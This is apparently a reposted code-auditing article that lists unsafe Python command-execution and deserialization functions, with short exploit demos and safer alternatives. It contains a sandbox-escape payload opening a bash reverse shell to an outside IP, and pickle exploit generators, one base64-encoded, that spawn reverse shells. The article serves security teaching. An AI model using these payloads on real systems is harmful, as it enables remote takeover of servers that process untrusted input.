【漏洞研究】[代码审计]Python代码审计连载之四:Command Execution

原文地址:https://www.cdxy.me/?p=747

This article summarizes unsafe functions and exploits in Python command/code execution.

os


Unsafe functions
  • os.system
  • os.popen
  • os.popen2
  • os.popen3
  • os.popen4

Exploit
  1. >>> import os
  2. >>> os.system("id")
  3. uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
  4. 0
  5. >>> os.popen("id").read()
  6. 'uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)\n

subprocess / popen2
  • subprocess.Popen
  • subprocess.call
  • subprocess.check_call
  • subprocess.check_output
  • popen2.popen2
  • popen2.popen3
  • popen2.popen4
  • popen2.Popen3
  • popen2.Popen4

Exploit
  1. >>> import subprocess
  2. >>> subprocess.Popen("id")
  3. <subprocess.Popen object at 0x7fd84aa7d050>
  4. >>> uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)



commands


Unsafe functions
  • commands.getoutput
  • commands.getstatusoutput

Exploit
  1. >>> import commands
  2. >>> commands.getoutput('id')
  3. 'uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)'



eval/exec


Exploit
  1. >>> eval("os.system('id')")
  2. uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
  3. 0
  4. >>> exec("os.system('id')")
  5. uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
  6. Env bypass exploit
  7. payload = '__import__("os").popen("/bin/bash -i >& /dev/tcp/119.29.235.20/12345 0>&1")'
  8. for c in [].__class__.__base__.__subclasses__():
  9.     if c.__name__ == 'catch_warnings':
  10.         for b in c.__init__.func_globals.values():
  11.             if b.__class__ == {}.__class__:
  12.                 if 'eval' in b.keys():
  13.                     b['eval'](payload)


Related links

Ned Batchelder: Eval really is dangerous,链接:http://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html



pickle / shelve / marshal


Unsafe functions
  • pickle.loads
  • pickle.load
  • pickle.Unpickler
  • cPickle.loads
  • cPickle.load
  • cPickle.Unpickler
  • shelve.open
  • marshal.load
  • marshal.loads

Pickle documentation about __reduce__

When the Pickler encounters an object of a type it knows nothing about — such as an extension type — it looks in two places for a hint of how to pickle it. One alternative is for the object to implement a __reduce__() method. If provided, at pickling time __reduce__() will be called with no arguments, and it must return either a string or a tuple.


Exploit
  1. >>> import pickle
  2. >>> pickle.loads(b"cos\nsystem\n(S'id'\ntR.")
  3. uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
  4. 0

Exploit generator
  1. import cPickle
  2. import base64
  3. class MMM(object):
  4.     def __reduce__(self):
  5.         import os
  6.         s = "/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1"
  7.         return (os.popen, (s,))
  8. print base64.b64encode(cPickle.dumps(MMM()))

  1. import cPickle
  2. import base64
  3. s = 'Y3Bvc2l4CnBvcGVuCnAxCihTJy9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTIzNDUgMD4mMScKcDIKdFJwMwou'
  4. cPickle.loads(base64.b64decode(s))


Development recommendation
  • use XML, json or something else depends on your situation.

Related links
  • Exploiting Misuse of Python's "Pickle",URL:https://blog.nelhage.com/2011/03/exploiting-pickle/



yaml

Unsafe functions
  • yaml.load
  • yaml.load_all

Exploit
  1. >>> import yaml
  2. >>> yaml.load('!!python/object/apply:os.system ["id"]')
  3. uid=1000(xy) gid=1001(xy) group=1001(xy),27(sudo)
  4. 0

Development recommendation
  • use yaml.safe_load and yaml.safe_load_all

Related links
  • Tom Eastman - Serialization formats are not toys - PyCon 2015,URL:https://www.youtube.com/watch?v=kjZHjvrAS74

技术交流QQ群: 397745473
来自:https://xianzhi.aliyun.com/forum/read/303.html?fpage=14

评论

此博客中的热门博文

【漏洞研究】[渗透测试]滲透Facebook的思路與發現

【技术讨论】使用apache mod_rewrite方法随机提供payloads